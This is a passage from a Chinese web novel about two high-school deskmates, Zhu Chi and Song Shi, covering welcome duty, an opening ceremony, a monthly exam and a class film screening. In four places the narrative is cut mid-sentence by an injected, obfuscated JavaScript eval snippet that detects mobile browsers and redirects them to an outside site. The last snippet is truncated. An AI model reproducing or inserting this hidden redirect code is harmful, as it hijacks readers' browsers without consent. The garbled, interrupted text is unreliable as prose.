“我没微信,”宋时板着脸说,“而且学校不让带手机,高一住校查得很严,被抓到了会全校通报批评,还会记大过。” 宋时一如既往维护着学校的校规,甚至还往里头添油加醋一番,企图让学妹们彻底死心。 “哦,这样啊。”学妹耷拉着眉,略显遗憾。 宋时满意,想来她们应该是被一中严格的校规给吓住了。 扎马尾辫的女生往后移了两步,靠近祝池问:“那学长你总有微信吧,我先加你可以吗?” 祝池瞟了眼宋时,恰好对上对方冰冷的眼眸。 他忍不住打了个哆嗦,移开视线,笑得有些局促。 不过只要祝池嘴角是上扬的,怎么笑都不会有距离感。 学妹看这个学长似乎好说话,只当他是有些害羞,又重复一遍:“学长,你报我记着。” “嗯……1……” 电话号码刚起头,就又被人拦截下来。 宋时打断:“他也没微信。” 祝池:“?” 学妹们:“???” 说自己没有就算了,还帮别人说没有,这不明摆着是不想给嘛。 “你们要去哪儿?”宋时说,“我带你们去。” 社牛的小学妹撞了个头铁,看他一副不近人情的样子,不愿再自讨没趣,连忙摆手道:“不麻烦学长了,我们知道往哪儿走。” 她们其实不认路,刚才祝池指的哪儿是哪儿早忘得一干二净。 不过去哪儿都无所谓,哪里都比这里强。 看小学妹将行李箱拖出了风火轮既视感,祝池没忍住笑,看向旁边的罪魁祸首,“你那么凶干嘛,把人家都吓跑了。” 宋时不觉得,“我这是激发他们的潜能,你看,现在效率不是挺高。”宋时抬起下巴,点了点学妹渐远的背影,“这个点儿了,要是再多磨蹭一会儿,去食堂估计只能吃盘子。” 照他这么说,她们还得感谢他。 祝池轻啧:“你还挺有理。” 烈阳下烤了一上午,祝池腿都站酸了,他弯腰揉了揉小腿肚,看向宋时,“宋大会长,能不能提前下班啊?” 宋时翻了他一眼:“好好说话。” 祝池“哦”了声,摆正身形,“真特别累,站着比跑步还要煎熬,都这个点儿了,考虑下大伙感受吧。” 宋时扫了眼四周,门口只剩下稀稀拉拉几个晚来的,路上偶有个别拖行李箱的经过。 距离学校规定的迎新时间还剩半小时,大家显然已经精疲力竭。石柱旁,大树边靠了一堆人,实在没地靠的,要么原地踏着步,要么随地大小蹲。 宋时趁没老师巡视,随即宣布:“大家回去吧,今天都辛苦了。” 此话一出,欢呼声和喝彩声响彻云霄,不知哪个人亢奋过了头,直接大喊一声:时哥明智,时哥万岁! …… 宋时此刻很想一头扎进无声世界,不过好在是露天场地,没什么回声。 他立即比了个嘘的手势,示意大家低调,可别把年级主任给招来了。 周遭人群退散,刚第一个冲出来喊累的人却没走。 宋时道:“还杵那儿干嘛?吉祥物当上瘾了是吧。” 祝池就知道他狗嘴里吐不出象牙,往树上靠了靠,“你不也是。” “没想到啊,宋大会长这么大公无私,舍己为人,让大家走了,自己还留这儿站最后一班岗。”祝池盯着他说。 宋时移开目光,悠悠开口:“我也没想到,祝小学霸这么鞠躬尽瘁,默默奉献,为大家谋福利,自己却不享受一点儿。” 两人有来有回,跟唱双簧似的。 瞧这说的什么话,搞得像是他要专门留下来陪他一样。祝池头一偏,“嘁”了声,“你想多了,我等贺景阳呢。” 宋时随后也“嘁”了声,“我没那么好心,例行公事罢了。” “……” 祝池看贺景阳和许向暖从楼上拿包下来,撂下句:“走了。” 这回没留,抬脚就往门口走。 贺景阳看宋时没跟过来,问他:“宋时不走?” 祝池实话实说:“他说他得留到规定时间再走。” 贺景阳手里拎着宋时的包,皱了下眉,“这个呆子,别想让我帮他拎包。” 于是贺景阳气势汹汹地冲过去,直接把人揽了过来,“走啦走啦,都没人了。我刚看老马坐办公室在喝茶,现在赶紧走,绝对没人发现。” 最后四人整整齐齐地走出校门时,马俊义刚好下楼。 道路上空无一人,只看见一箱子蓝色马甲横在路旁。 马俊义疑惑:“咦?人都去哪儿了?” “志愿福利都没领就走啦?!” - 隔天上午举行盛大的开学典礼,广播里响起慷慨激昂的《运动员进行曲》,以及年级主任的浑厚嗓音:“请高二年级全体师生抓紧时间到至善广场集合,开学典礼马上开始——” 可惜对高二这帮子老油条来说,欢快的鼓点和广播的催促并没有多大效用。 有人在饮水机边调水温,有人在楼梯间嬉戏打闹,有人坐在教室也不慌,精挑细选着手上要带的资料。 祝池也随手抓了本高中语文必背古诗词,跟着大部队蠕动着下楼。 他同桌不知什么时候就离开了位子,应该早下去了。 祝池见怪不怪,毕竟宋时是学校干部,这种活动哪有不积极的道理。 例行公事,他懂,面子功夫起码得到位。 按照一中惯例,女生在前男生在后,两路纵队,具体怎么站随便,一般都是玩儿得好的站一块儿。 除了宋时和许向暖,祝池跟班上所有人关系其实都差不多,能说笑,能打趣,能交流题目,但升旗站队的时候却没人主动找他。 祝池自觉站到队伍末尾—— 一个特别自在的位置,没有人挤人,还不容易被摄像头捕捉到。 祝池往前扫了眼,宋时不在。 以他的身高,不管站在哪儿都很出挑,不会被人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667837|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淹没,看不见就是真不在。 祝池没再多想,开始默背手头的文言文。 古诗还好背一点,古文最让人头疼,不仅拗口,还贼长。漫长的校领导讲话结束,祝池也只背下来一段。 台上话筒的声音虽大,但并不吵人,反而是前排叽叽喳喳的聊天声很扰民,时不时哄笑两下,时不时传来一声尖锐的怪叫,声音不大却很突兀。 男生们手里大都拿了习题册,但真正写的却没几个。 祝池前面的侯思源,就是安静做题的少数人之一。 侯思源鼻梁架着黑色圆眼镜,看起来呆呆的,平时虽然话不多,但为人和善,也属于和班上所有人关系都还不错的那种。 这点倒是和祝池很像。 祝池对他印象很深,第一天就记住了他名字,因为侯思源那天帮他搬了桌子。 不过之后因为座位隔得远,两人也就没再打过交道,要说侯思源的搬桌之恩,祝池到现在都还没来得及答谢呢。 祝池盯着侯思源的作业看了三秒,他做的是刚布置的数学练习册,手里握着铅笔,草稿可以直接打在题目旁边。 祝池也不是真好奇他的进度,只略略瞟了一眼,可谁知刚要收回视线,前面的人却突然转过头来。 猝不及防间,两人视线碰上,在空中大眼瞪着小眼看。 祝池略显尴尬地咳两声,目光却很坦荡,仿佛刚才偷窥别人作业的不是他。 侯思源似乎没注意到这点,指着练习册问:“祝池,这题能帮忙看看吗?我没什么思路。” 祝池怔了下,双手接过练习册。 猛然听见不熟的人喊全名,他还有点不习惯。 班上人平时一口一个“学霸”,一口一个“学神”的叫他,还真没几个正儿八经喊过他名字。 “你等一下,这个我也还没做。”祝池说。 侯思源道:“不急不急,你慢慢看。” 他说话慢条斯理的,听他讲话有种岁月静好的感觉,祝池就算想急也急不起来。 不过这并不影响他大脑的思考速度,没一会儿功夫,祝池就有了思路。 “笔能用一下吗?”祝池问。 “可以可以。”侯思源将笔递给他,“随便画,反正可以擦。” 祝池接过笔在练习册的图上画了两笔,又写下两行公式,指着图说:“将A、B与椭圆左右焦点连接起来,由椭圆的对称性得到一个平行四边形,利用椭圆的定义,也就是这个,”祝池又用笔点了点刚写的第一行公式,“再用余弦定理和重要不等式就可以求出离心率的范围了。” 祝池讲得很细,侯思源听得也认真,加上本来就是特奥班的,底子不错,稍加点拨就通了。 侯思源恍若顿悟般接过纸笔,连忙道谢:“我明白了,谢谢你,祝池。” 又叫了一遍他名字,祝池听后,又是一怔。 等他回过神时,话筒里的声音却换了人,干净温柔的嗓音放大后钻入耳中,熟悉又陌生。 防不胜防间,一股酥酥麻麻的电流在祝池心尖蔓延,他恍然抬头,看见一个宽阔挺拔的身影…… 15. 考试 在台下如雷的掌声和欢呼声中,台上人缓缓开口:“尊敬的老师,亲爱的同学们,大家上午好。我是高二一班的宋时,很高兴今天能作为学生代表站在这里发言——” 停顿间,台下再次响起潮水般的掌声和欢呼声。 祝池看着台上人模狗样的他同桌,校服扣子扣到最上面一颗,普通的蓝白校服短袖在他身上,硬是穿出了某宝模特照的氛围感。 他装模作样地跟着鼓掌,忍不住啧了声。 也是让他装了把大的。 周围叽叽喳喳的议论声更大了,不过不是前排男生在聊游戏,而是周围女生在讨论台上的高二年级第一。 祝池站在最后,具体聊什么听不清,却能宏观把控到声音的方位。 很明显,高一那边的音量,比高二的要大得多。 不过祝池不知道的是,自从昨天迎新过后,他和他同桌,就在高一年级出了名。 不讲成绩,全靠美貌出圈。 此刻高一前排—— 女生A:“哇塞,这个学长感觉好温柔,简直就是小说里白月光的存在!” 女生B:“我这是走了什么狗屎运,竟然能在一中碰见学习牛逼,长得更牛逼的人!我还以为大家都是满脸爆痘,人均眼镜600度呢。” 女生C:“听说一班,就是宋时学长那个班,还有一个帅哥。你们说绝不绝,无独有偶啊!” …… 赞叹、佩服、花痴的不在少数。 唯有一个扎马尾辫的姑娘不合群:“跟你们说,这个学长我昨天见过,本人特别高冷,直接拒绝加微信。我找你们说的另一个学霸要微信,也被他给搅黄了,气死我了。” 女生A:“是真的吗?” 马尾辫说:“真的,我不骗人。” 女生B:“哇塞,学长这么守男德的吗,不随随便便加女生微信,分寸感拿捏得十分到位啊……该不会是有对象了吧。” 女生C:“这么优秀有对象也正常,如果是个漂亮学姐的话,我就大嗑特嗑。” 女生D:“等等……刚刚说学长还不让你加另一个学长,这么多管闲事……不不不,是正直、有原则,一般都不会早恋吧。” 众女生觉得有道理,点头附和,最后得出的结论是——学长谁都不爱,一心只有学习。 这个论断很符合高岭之花的人设,众人全票通过,并且期待着有朝一日,有人能将高岭之花拉下神坛。 可惜小学妹们这番热闹讨论没有传到祝池耳中,不然他肯定要笑趴。 狗屁的高岭之花,狗屁的拉下神坛,她们们是没见过,这人私下是多么恶劣。 人嘴毒不会说话就算了,还抽烟! 好好的高中生,装什么社会大哥。 祝池一字不落听完这个逼王无聊透顶的发言稿,手上的文言文却一个字也没看进去,像是大脑堵塞了一般。 祝池莫名好奇起来。 宋时到底为什么要装乖,私下接触下来,本人是和乖巧懂事沾不上边的。 所以,他到底是装给谁看呢…… 祝池想得脑壳疼,他有时候会觉得自己活得挺累,但看看宋时,又觉得自己好像还算轻松。 装到宋时这个地步,想想就累。 刚回到教室,大家的心还和外头的烈日一样躁,平平无奇的一个开学典礼而已,也不知怎的,还会有戒断反应。 或许这就是独属高中生的神经系统,随便来个活动,DNA就动了。 不过下一个消息,便彻底摁住所有人刚躁动起来的心绪。 大顺在讲台宣布:“明天将进行为期一天的高二第一次月考,大家好好准备。” 台下瞬间炸开了锅,汹涌的民愤挡都挡不住。 “卧槽,学校脑子抽了吧。”黄宇恒嘴比脑子快。 大顺恶狠狠剜他一眼:“好好说话。” 黄宇恒自觉掌了掌嘴,求生欲满满。 大顺一走,他再也憋不住了,义愤填膺道:“学校就是脑子抽了,谁家好人才上一周就月考啊,这和摸底考试有什么区别?” 周延忿忿道:“就是就是,还是极限连轴转,天知道一天脑子切换八百遍有多难!” “……” 大家苦一中魔鬼变态考试久矣,却也只能在底下抱怨几句,该考还得考,该复习还得复习,临阵磨枪不快也光。 祝池看班上这么大反应,瞥了眼自己同桌。 宋时一如既往地谈定,好像什么事都不会急的样子,无论是会还是不会,他都是一个人默默消化。 就像上回磕数学题一样,还好他给他塞了纸条,不然他估计晚上都睡不好觉。 一中稍稍做点人的地方,是给他们一下午时间复习,自由挣扎,不限科目。 一下午看似好像很长,能干不少事情,但实际上不知不觉中,几个小时就流过去了。 每个人的复习方式不同,有人选择翻改错本看错题,有人喜欢找新题练手,好提前进入状态,还有人愿意相信玄学和运气,也就是所谓的押题,压中哪儿看哪儿,理解不了的就死记硬背,把答案先记下来再说。 当然还有部分人,还不是少数,越到考前越复习不进去,在焦虑和内耗中白白虚度时光。 祝池和宋时自然不属于这类,不过也不属于上述几类。 他俩的复习方式很特别,也很极端。 祝池很简单,他的复习时间全用来刷竞赛题了,但这些月考都不考。 简而言之就是不复习。 宋时就复杂多了,他会先拿出两张A4大白纸,在上面开始冥想式创作。 一节课下来,两张纸被密密麻麻的思维导图填满,外人可能看不大懂,因为上面有很多简写的符号。 不过这两张纸却是宋时的考前法宝。 剩下的时间里,他首先把桌肚里一摞笔记家当全搬上台面,接着,对照着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667838|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大纲一个个清知识点,扫盲区。 祝池做题时通常不会注意别人,但课间休息的空闲,还是见证了宋时复习的全套流程。 他算是开了眼界,也算是明白了,宋时为啥之前没有同桌。 但凡换个心态不好的人做他旁边,不得天天崩溃,天天陷入自我怀疑的轮回。 最后打铃前5分钟,祝池做累了,趴在桌上睡觉。 他没真睡,透过臂膀交叠的空隙,他看着宋时把东西收拾好,也开始闭目养神。 祝池佩服,一个人怎么能做到把时间算得刚刚好,一分一秒都不浪费。 简直是古希腊掌管时间的神。 - 吃完晚饭回教室,祝池发现大家把教室里的桌子都拉开了。 宋时很热心,他人还没回来,桌子就已经靠了墙,和宋时桌子间挪开距离,划下一道清晰的楚河汉界。 祝池没搞懂这是要干嘛,问他同桌:“移桌子干嘛,这是要考试?” 宋时难得夸他:“很聪明。” 祝池有点懵:“不是明天考,考一天吗?” 宋时:“是一天没错,今天晚上到明天下午,刚好一天。” 祝池:“……” 一天还带拆开算的,这个操作也是很迷。 祝池问:“那晚上考什么?该不会考语文吧?” 宋时连夸:“猜得很准。” 祝池表情僵住,忍不住彪了句脏话:“卧槽,我打算晚自习背文言文的,这下糟了。” 宋时没想到,气定神闲刷了一下午题的祝池也有临时抱佛脚的打算。 看他急急忙忙从桌肚里翻出语文书,忙不迭打开,黑葡萄样的眼睛在眼眶里滴流打转,嘴巴不停地上下翕合,跟在念经似的。 宋时没忍住,嗤地笑了。 祝池没空管他笑与不笑,要说他没背完全赖宋时。 他用脚指头都能想到,宋时此刻一定是在幸灾乐祸,毕竟同桌难得狼狈一次。 祝池随他笑,没管。 他知道,就算现在把他打一顿,也没法儿让文言文进他脑子,还白白浪费了时间。 祝池刚背完最后一段,就看见梅芳抱着试卷进来。 “好啦,书都收起来,准备考试。”梅芳将试卷袋划拉开,从里面数出卷子分发下去,一列一列按序自主往后传。 祝池拿到试卷,却始终没等来答题卡,前桌人头已经伏下去,右手开始在纸上刷刷地写。 祝池戳了戳前桌,问:“同学,那个答题卡……” 前桌人似乎很急,没等他说完就撂下句:“没了。”接着又转回去埋头苦干了。 祝池悻悻缩回手,微不可查地叹口气。 或许是他刚来,还不懂这里的传卷子规矩,没传就默认是没有,不用多问。 祝池刚要起身去讲台,却瞥见旁边的位子空着。 他同桌宋时,已经往讲台方向走了。 16. 电影 宋时走得很快,祝池观望两秒的功夫,他就已经擎着东西回来了。 祝池以为他也没答题卡,想着他或许会顺手帮自己拿一张。 但当他走近些祝池才看清,他手上分明只有一张。 祝池有点慌,觉得许是自己自作多情了。 人家凭什么要帮你拿,你自己是没长手还是没长脚。 等祝池又要起身时,宋时直接走到他面前,一句话也没说,将答题卡拍在桌上。 两人对视一眼,宋时眉心蹙了下,不过很快又恢复往常的木然。 祝池起身的动作一滞,“谢”字却卡在嘴边。 还没等他开口,宋时就已经坐回到自己位子上,开始同其他人一样埋头答题,没再看他一眼。 祝池转过身,没出口的“谢”字被他硬生生吞回去,他晃了晃脑袋,将脑海里的杂念清空,也开启了沉浸式做题模式。 一中这种考试安排自然有他的道理。 语文改卷周期最长,放前一天晚上考,早录入试卷,早开始改卷,出分也好赶上其他科目的进度。 第二天考试跟打仗一样紧张。 早上数学英语,下午先考两门选考科目,中间不休息,为的是在同一时间考完,不至于让不同选科产生泄题的情况。 不过煎熬也是真煎熬,整场考试算下来,比语文还要长5分钟。 最后一门就没那么复杂了,历史类的考历史,物理类的考物理,二选一科目,不存在冲突。 下午考完后,大顺吩咐大家把桌椅归位。 桌腿在地上摩擦发出刺耳的滋啦声,大顺不知是心血来潮还是怎的,突然说:“来,我们把位子换一下,上学期一直忘换了。” 班上人动作停下,纷纷看向讲台。 大顺紧接着下达指令:“很简单,同桌不动,只前后调动,前三排往后去,后四排往前挪。”大顺拍掌动员全班,“就这样,赶紧行动起来,别耽误上晚自习。” 大伙在心里琢磨自己要去哪一排,减三加四的小学算数问题,却难倒了一片人。 黄宇恒脑子还没转过弯儿,觑着眼一排排往后数,“我得去二、三、四……” 旁边的夏思澈反应快:“别数了,倒数第二排。” 黄宇恒“噢”了声,不吝啬夸奖:“还是夏神数学好。” 夏思澈:“……” 后排周延顺着往后看,喃喃道:“那我不得去最后一排了,我这第三排看得刚好,再往后都看不清黑板了。” 张振轩扶上他肩头,安慰:“没事,过几个月应该还会换,下次我们就去前排了。” 周延苦笑:“害,我还是回去重新配副眼镜吧,糊弄几个月我怕是要跟不上。” 对于大部分人,移桌子就是单纯移桌子,但对于桌边堆了箱子和书的来说,移桌子就没那么简单了,大大小小的家当都得跟着移。 祝池他们旁边组的一排女生就是。 两人一人一个大书箱,手上推着桌子,脚上勾着箱子,正艰难地龟速前进。 宋时见状,过去帮忙把箱子搬起来,问:“你坐第几排?” 辛晓婷答道:“嗯……第三排。” 宋时利落地将箱子往前送,祝池看见后也跟上去,帮着另一个女生把箱子往前搬。 等宋时将箱子放地上,准备折回去搬另一个时,箱子已经被祝池放在旁边。 两个女生没了箱子的负担,很快就把桌子移了过去,忙不跌向他俩道谢:“谢谢班长,谢了小池……哦不,祝池。” 女生向是下意识地脱口而出,祝池其实不介意,弯着笑眼说:“叫小池也行,听着亲切。” 林可心问:“这是你小名儿吗?” 祝池顿了片刻,点头道:“……是。” 帮她们搬完东西,祝池撞了下宋时胳膊,“没想到班长大人还很热心肠。” 宋时不咸不淡地说:“她们东西挡道了,帮个忙班上也好早点换完位子,顺手的事。” 祝池“哦”了声,他忽而想起,嘴硬心善的宋时昨天还帮自己拿了答题卡。 所以也是顺手? 想让全班早点进入考试状态? 一阵桌椅乾坤大挪移后,平日看不见的垃圾全部暴露出来。 用完的中性笔芯,断掉的答题卡铅,裹满灰尘的透明胶带……文具废品只占了教室垃圾的一小部分,占大头的还得是饮料瓶、零食袋,以及泛滥成灾的卫生纸。 大顺看得闹心,掩了掩鼻子,“下次谁再到教室里吃东西,记得给全班每人买一包,我说怎么总能闻到一股香味儿……今天的值日生赶紧把地扫扫。” 大顺说着,自己先拿了把扫帚,把路中央几处显眼的垃圾给扫进撮箕。 移完座位,祝池他们换到了第四排,也算是有了后桌。 祝池往后看一眼,自己后面正是那个圆眼镜——侯思源。 祝池扭头,跟他打了个招呼:“好巧,以后就是前后桌了。” 侯思源笑着说:“是啊,我现在前桌是你,后桌是课代表,班上唯二两个数学竞赛的都在我旁边,以后数学都不用去找大顺问题了。” 祝池哈哈一笑,觉得好像是这么回事,后排的夏思澈听后,朝前说了句:“大顺毕竟是老师,讲题方面还是比我们专业,祝池就算会做,也不一定讲得出,你说是吧?” 这话问的是侯思源,却是对着祝池说的。 祝池不傻,他听得出里面夹枪带棒的意思,不过表情却没有丝毫波澜,依旧笑着,“课代表说的对,大顺总得有他存在的价值,工资可不能白拿。” 侯思源没想好该怎么说,祝池就先答了。 他想也是,老是问同学也占用人家时间,但大顺不怕麻烦,大顺可是说过:他就喜欢爱问问题的学生。 不过侯思源主观认为,祝池不比大顺讲得差,反正他觉得,还是很容易理解接受的。 又是周二,又是大家期盼的语文大晚自习。 只要不写作文,其它都好说。 不过今天是个好日子,不仅不用写作文,还不用动笔。 梅妈走进来,说:“今天考完试我们放松放松,晚上看电影。” 班里人先是一怔,三秒过后,反应过来这不是梦,于是跟烧开水似的一片鬼叫。 “我宣布,梅妈就是我亲妈。”许向暖说。 辛晓婷回过头道:“昨天你可不是这个态度,昨晚梅妈出的卷子,你可是连人带卷子给批判了个遍。” 许向暖:“……昨天翻篇了,我不记仇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667839|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛晓婷:“……” 说到看片儿大家都很积极,没等梅妈说话,就有人举手推荐:“《流浪地球》好看,或者《飞驰人生》也行。” 台下人:“都看过了,换一个,换一个。” “要不《哪吒》吧,暑期档新上的,我有会员。” “可以,我看这个行。” “怎么办,这个我也看过了。” “……” 梅妈看台下吵成一片,拍着讲台说:“安静安静,不用你们纠结,我已经给你们选好了。” 班上人有种不祥的预感。 “电教委员上来调一下,《大卫·科波菲尔》,1999年英国那版。”梅妈说。 “什么玩意儿?大卫什么来着?”周延压根没听清。 他同桌张振轩解释:“《大卫·科波菲尔》,马上要上的课文,选修一里的。” 周延瞬间没了兴致,不仅是老掉牙的片子,还是经典名著改编的,多没意思。 打开搜索引擎后,电教委员黄宇恒却迟迟没进行下一步操作,抓耳挠腮半天,神情略显局促:“梅妈,那个电影名儿……能再重复一遍吗?” “……” 梅妈看他不靠谱的样子,有种不如自己上的冲动,说:“你输大卫两个字就出来了。” 黄宇恒输入“电影大卫”,果不其然,搜索栏下方直接弹出了全名。 电影开始播放后,梅妈就回办公室改卷子去了,不知前排哪个触到了电灯开关,教室瞬间暗了下来。 “哎,关灯干嘛,看不见了。”在下面做作业的人抬头抱怨。 有人反驳自然也有人赞同。 “不关灯哪有看电影的氛围,谁家好人开灯看电影。” “……” 两方争执不休,几乎快淹没了电影声,最后还是班长出来调停。 “前面的灯关了,后面留几盏,这样光线也不算太强。”宋时站起来说。 是个折中的办法,大家各退一步,没人再提出异议。 祝池属于无所谓一派,他不写作业,也不介意开灯看电影,灯全关了他反而觉得有点儿费眼。 祝池揉了揉眼睛,撑着脑袋看电影。 老电影画质一般,但也看得过去,剧情还算波澜起伏,引人入胜,越往后看越想知道主人公的命运将何去何从,以至于最后班上也没几个在写作业的。 电影画面中,蓬头垢面的小主人公正遭受着继父虐待,不少同学看得揪心,甚至有人为此掉了眼泪。 祝池依旧撑着下巴,眼睛一眨不眨地盯着大屏幕,看得专注,却像个面瘫。 同样面瘫的还有他同桌。 祝池瞥了眼旁边的宋时,此人桌面上收拾得干干净净,显然是想专心看电影。 宋时坐得很端正,要是胳膊再放规矩些,是可以直接拉去拍宣传照的程度。 都不用摄影师指挥摆动作,随便拍拍应该就能出片。 祝池盯着他侧脸看了几秒。 锋利的下颌、高挺的鼻梁很是吸睛,一看就是硬朗有攻击性的长相。 但祝池的目光不在这里。 他的目光,全集中在面前人又浓又长的睫毛上。 因为…… 他的睫毛好像湿了。 17. 点赞 祝池怀疑自己莫不是眼花了。 他使劲儿眨了两下眼睛,凝神一看—— 被泪水浸湿的睫毛根根分明,浓密的眼睫低垂着抖动,却一滴泪也没有落下。 祝池看一眼屏幕,寄宿学校中,主人公大卫正在遭受一顿莫名的毒打。小小年纪就要承受他本不该承受的痛苦,着实惹人怜惜。 他为主人公的悲惨童年叹了口气,转头看宋时,又叹了口气。 是挺悲伤,但不至于吧。 看宋时憋泪憋得也挺不容易的,祝池摸出桌肚里的心相印抽纸,从里面抽出一张,刚要递过去,对方就看了过来—— 宋时压着眉,表情介于疑惑和警告之间,似乎在问:你对着我叹气是几个意思? 不过最绝的是此人上一秒眼眶里还含着泪,现下竟全消失不见了!连睫毛上的潮湿也像是自动烘干了一般,不着一点痕迹。 要说唯一的证据,当属他眼尾一抹浅淡的微红,只是这点微不可查的线索,在昏暗的光线之中也难以分辨清楚。 这么牛逼的眼泪控制力,怎么不去当演员呢? 祝池看这样子,想来宋时大概是不愿让人撞见他脆弱的模样。 就算看见了,也最好装不知道。 他默默攥回手上的纸,胳膊送出去一半也不好直接放下,干脆抬手往鼻子上擦,装模作样地跟着皱眉,像是很不理解对方突然看过来的意图。 “看什么看,我擤鼻涕。”祝池说。 宋时又盯着他看了好几秒,脸上的警惕淡去,疑惑却加深了些。 “还看,我就这么好看?”祝池竖起眉毛,有点儿不耐烦,“别看了,看电影。”说完就立刻扭头,宋时也别开眼,两人互不相看,目光紧紧追随电影中的人物流转。 放学铃打响,电影散场。 最后的大团圆结局给了不少人安慰,起码弥补了情节波折下所受的心灵创伤。 祝池无波无澜地见证完大卫的成长史,而他的同桌,内心情感肯定要比他丰富得多。 贺景阳在后门口没蹲到人,看里面没老师,直接大摇大摆走进去。 后门周延他熟,初中老同学,还是一个篮球社的。他从后面搭上周延肩膀,问:“你怎么坐这儿来了?祝池呢?” 贺景阳是个喜新厌旧的,谁在他这儿刷脸多,谁在他心里就往前排,宋时八百年罕见主动找他一次,自然比不过同住一个屋檐下的祝池。 周延朝前排扬了扬下巴,“那儿呢,我们调座位了。” 贺景阳顺着往前看,祝池同桌还是宋时,他忍不住吐槽:“你们这调得不够彻底,娜姐每次可都是给我们班全员打乱,保准你一月一个同桌,一学期不带重样。” 娜姐带1班和7班的英语,身兼7班班主任,全名卢娜,英文名Luna。 不过末尾的元音很容易发错,最后往往念成带点洋腔的“卢娜”,听起来怪土的。 所以大家干脆叫她娜姐,够潮够霸气,也符合她时髦的形象。 周延有点同情他,不过也同情自己,“是娜姐的风格,听写单词也是维克多里随便抽,保准一学期不带重样。” “对对对,我们也是这样,”贺景阳感同身受,一个劲儿点头。 “哎,我才发现,你们班都没有男女混坐的,”贺景阳扫了眼一班教室,“大顺怎么想的啊?娜姐还专门把男女生搁一块儿,搞得我平时都没人聊天。” “大顺就是懒,懒得排座位表,同桌大部分都是自己挑的。”周延道。 贺景阳一脸羡慕:“这么民主,这么爽。” “不过也可能是为了防早恋吧,”周延思考片刻,说:“但早恋这东西说不好,跨年级的都有,区区一个座位,哪里防得住。” 贺景阳点头:“也是……” 回去的路上,贺景阳故弄玄虚,问他们:“猜猜看,我们班今天晚上干什么了?” 看他一脸欠欠的样子,许向暖估计他又要炫耀。 “我猜……该不会是看电影了吧。”尾调被她故意拖得老长。 贺景阳有点惊:“你怎么知道?” 许向暖双臂环胸,鼻孔看人,一副“就这?”的模样,“巧了,我们也是。” “???” “我还以为是徐丽丽大发慈悲,原来是全年级统一看的啊。” 贺景阳苦着眉,脸上挂着“失去特殊待遇”的遗憾,不过失意只持续了半秒。 “唉,对了,那个小大卫是哈利波特扮演的,你们看出来了没?”贺景阳兴奋道,他这个表述其实有歧义,不过内行人都听得懂。 许向暖恍然大悟过来,像被点醒一般,“我说怎么那么眼熟呢。” 贺景阳啧了声:“这都没看出来,你是假哈迷吧。” 许向暖跳脚:“谁说的,我可是把原版小说看过三遍的人,真哈迷官方认证。” “……” 自此,话题成功从大卫·科波菲尔转移到哈利波特上。 几人一路从小说聊到电影,主要是力挺格兰芬多的贺景阳,和斯莱特林死忠粉许向暖在大辩特辩,期间,没有粉籍的祝池偶尔进去掺和几句。 只有宋时没怎么说话,估计是觉得他们的争论点很无聊。 - 洗完澡后,祝池登上游戏账号,他先扫了眼榜单,发现jzt尖的头像竟然是灰色的。 不只他没上线,全服都出奇安静,私聊框也如死水一般平静。 人都去哪儿了?祝池心下疑惑。 他给猴子发了个消息,对方过了三分钟才回。 猴子:今天某雄联盟全球总决赛直播,大家都观赛去了,没几个人上号也正常……哎呀,我担怎么被偷袭了,卧槽,对方不讲武德!不说了,我看比赛去了。 猴子匆匆忙忙掐了语音,祝池猜测,jzt尖估计也去看比赛了。 都不在的话…… 那他岂不是可以为所欲为、大杀四方。 祝池今晚打得很爽,没人跟他抢,也不用担心被人埋伏,只用专心打怪就好,效率提高的不是一星半点。 短短一个小时,就爆出了不少好装备。 祝池清点完背包,又算了笔帐,发现这个季度的指标,就这么轻轻松松给提前完成了。 他美美地伸了个懒腰,无聊之下,点开了排行榜。 榜一是——hsm头头。 这就又反超了? 其实他没那么在意榜单,毕竟榜单不能直接变现。 但看见自己名字挂在榜单最上面,还是挺爽的。 祝池不恋战,见好就收,当他决定下游戏时,才刚过十一点。 这个点就睡的话,好像有点儿早。 上高中后,祝池基本形成了十二点睡的生物钟,睡早了也是干躺着,于是他又从包里翻出本必刷题来做。 今日心情大好,祝池难得宠信一回语文。 他翻开崭新的语文必刷题,随便挑了两篇阅读,抱着看课外书的心态把题目顺带着做了,没想到不仅做得顺畅,正确率还贼高。 选择题一个没错,大题也踩中了不少得分点。 语文答题的规律好像一不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 